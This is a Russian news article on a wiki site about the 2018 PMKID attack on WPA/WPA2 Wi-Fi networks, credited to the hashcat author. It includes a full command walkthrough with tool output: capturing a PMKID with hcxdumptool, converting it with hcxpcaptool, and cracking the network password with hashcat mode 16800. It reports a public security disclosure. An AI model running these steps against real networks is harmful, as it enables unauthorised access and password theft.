Новая техника атаки на беспроводные сети с WPA2
12 августа 2018 года
Йенс Штойбе (Jens "atom" Steube), создатель программы для подбора паролей hashcat, представил новую технику атаки на беспроводные сети с аутентификацией на базе механизмов WPA или WPA2. Предложенный метод существенно упрощает получение идентификатора, который затем может быть использован для подбора пароля подключения к беспроводной сети.
Атака применима к любым сетям 802.11i/p/q/r с включенным румингом (поддерживается на большинстве современных точек доступа). Суть метода в возможности получения идентификатора PMKID (Pairwise Master Key Identifier) в составе ответа EAPOL на запрос аутентификации (PMKID указывается в опциональном поле RSN IE (Robust Security Network Information Element)). Наличие PMKID позволяет определить разделяемый ключ PSK (Pre-Shared Key, пароль к беспроводной сети) без непосредственного получения вычисленного на его основе PMK (Pairwise Master Key), передаваемого на этапе согласования соединения при успешной аутентификации нового пользователя. В частности, PMKID вычисляется по формуле "HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)". Так как MAC-адреса и строка с названием сети изначально известны, не составляет труда применять PMKID вместо PMK в качестве признака успешного подбора пароля.
Атаки по подбору паролей на основе перехваченных кадров не новы, но в отличие от ранее применяемых методов новая атака не требует ожидания подключения к сети нового пользователя и сохранения всей активности, связанной с установкой им соединения. Для получения данных, достаточных для начала подбора пароля, новый метод требует перехвата лишь одного кадра, который можно получить в любое время, отправив запрос аутентификации к точке доступа. Подобная особенность существенно упрощает получение данных для начала подбора, но в целом успешность атаки как и раньше зависит от стойкости установленного пароля к подбору по словарю.
Отмечается, что большинство пользователей не утруждают себя установкой стойких к подбору паролей подключения к беспроводной сети или используют генерируемые точкой доступа пароли, которые на первый взгляд являются стойкими, но на деле формируются на основе предсказуемых шаблонов. Подобные пароли достаточно эффективно подбираются при знании информации о производителе точки доступа, которую можно получить, например, проанализировав MAC-адрес и ESSID. Время подбора подобных 10-символьных паролей оценивается примерно в 8 дней на системе с 4 GPU.
Для проведения атаки требуются свежие версии hcxdumptool, hcxtools и hashcat.
Запускаем hcxdumptool, отправляем запрос к точке доступа для получения PMKID и сохраняем результат в файл в формате pcapng
. /hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status start capturing (stop with ctrl+c) INTERFACE:...............: wlp39s0f3u4u5 FILTERLIST...............: 0 entries MAC CLIENT...............: 89acf0e761f4 (client) MAC ACCESS POINT.........: 4604ba734d4e (start NIC) EAPOL TIMEOUT............: 20000 DEAUTHENTICATIONINTERVALL: 10 beacons GIVE UP DEAUTHENTICATIONS: 20 tries REPLAYCOUNTER............: 62083.... [13:29:57 - 011] 89acf0e761f4 - 4604ba734d4e [ASSOCIATIONREQUEST, SEQUENCE 4] [13:29:57 - 011] 4604ba734d4e - 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206] [13:29:57 - 011] 4604ba734d4e - 89acf0e761f4 [FOUND PMKID]
В случае если точка доступа поддерживает отправку PMKID будет выведено сообщение "FOUND PMKID". Из-за помех перехват может не получиться с первого раза, поэтому рекомендуется запускать hcxdumptool в течение приблизительно 10 минут.
Запускаем утилиту hcxpcaptool для преобразования перехваченного дампа из формата pcapng в формат для разбора в hashcat.
. /hcxpcaptool -z test.16800 test.pcapng start reading from test.pcapng summary: -------- file name....................: test.pcapng file type....................: pcapng 1.0 file hardware information....: x86_64 file os information..........: Linux 4.17.11-arch1 file application information.: hcxdumptool 4.2.0 network type.................: DLT_IEEE802_11_RADIO (127) endianess....................: little endian read errors..................: flawless packets inside...............: 66 skipped packets..............: 0 packets with FCS.............: 0 beacons (with ESSID inside)..: 17 probe requests...............: 1 probe responses..............: 11 association requests.........: 5 association responses........: 5 authentications (OPEN SYSTEM): 13 authentications (BROADCOM)...: 1 EAPOL packets................: 14 EAPOL PMKIDs.................: 1 1 PMKID(s) written to test.16800
Содержимое записанного файла включает строки вида "2582a81d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465af3a", которые содержат шестнадцатеричные значения PMKID, MAC AP,MAC Station и ESSID.
Дополнительно при запуске hcxpcaptool можно использовать опции "-E", "-I" и '-U" для анализа наличия паролей, идентификаторов и имён пользователей в беспроводном трафике:
. /hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng
Запускаем hashcat для подбора пароля (применяется режим 16800):
. /hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!' hashcat (v4.2.0) starting... OpenCL Platform #1: NVIDIA Corporation ====================================== * Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU * Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU * Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU * Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Applicable optimizers: * Zero-Byte * Single-Hash * Single-Salt * Brute-Force * Slow-Hash-SIMD-LOOP Minimum password length supported by kernel: 8 Maximum password length supported by kernel: 63 Watchdog: Temperature abort trigger set to 90c 2582573161c61*4604d4e*89acf0e761f4*ed4824639f3a:hashcat! Session..........: hashcat Status...........: Cracked Hash.Type........: WPA-PMKID-PBKDF2 Hash.Target......: 2582a8281d0e61c61*4604ba734d4e*89acf...a39f3a Time.Started.....: Sun Aug 12 12:51:38 2018 (41 secs) Time.Estimated...: Sun Aug 12 12:52:19 2018 (0 secs) Guess.Mask.......: ?l?l?l?l?l?lt! [8] Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#2.....: 408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#3.....: 412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#4.....: 410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#*.....: 1641.3 kH/s Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 66846720/308915776 (21.64%) Rejected.........: 0/66846720 (0.00%) Restore.Point....: 0/11881376 (0.00%) Candidates.#1....: hariert! - hhzkzet! Candidates.#2....: hdtivst! - hzxkbnt! Candidates.#3....: gnxpwet! - gwqivst! Candidates.#4....: gxhcddt! - grjmrut! HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1 HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1 HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1 HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1
Источники[править]
Любой участник может оформить статью: добавить иллюстрации, викифицировать, заполнить шаблоны и добавить категории.
Любой редактор может снять этот шаблон после оформления и проверки.
Комментарии[править]
Если вы хотите сообщить о проблеме в статье (например, фактическая ошибка и т. д.), пожалуйста, используйте обычную страницу обсуждения.
Комментарии на этой странице могут не соответствовать политике нейтральной точки зрения, однако, пожалуйста, придерживайтесь темы и попытайтесь избежать брани, оскорбительных или подстрекательных комментариев. Попробуйте написать такие комментарии, которые заставят задуматься, будут проницательными или спорными. Цивилизованная дискуссия и вежливый спор делают страницу комментариев дружелюбным местом. Пожалуйста, подумайте об этом.
Несколько советов по оформлению реплик:
- Новые темы начинайте, пожалуйста, снизу.
- Используйте символ звёздочки «*» в начале строки для начала новой темы. Далее пишите свой текст.
- Для ответа в начале строки укажите на одну звёздочку больше, чем в предыдущей реплике.
- Пожалуйста, подписывайте все свои сообщения, используя четыре тильды (~~~~). При предварительном просмотре и сохранении они будут автоматически заменены на ваше имя и дату.
Обращаем ваше внимание, что комментарии не предназначены для размещения ссылок на внешние ресурсы не по теме статьи, которые могут быть удалены или скрыты любым участником. Тем не менее, на странице комментариев вы можете сообщить о статьях в СМИ, которые ссылаются на эту заметку, а также о её обсуждении на сторонних ресурсах.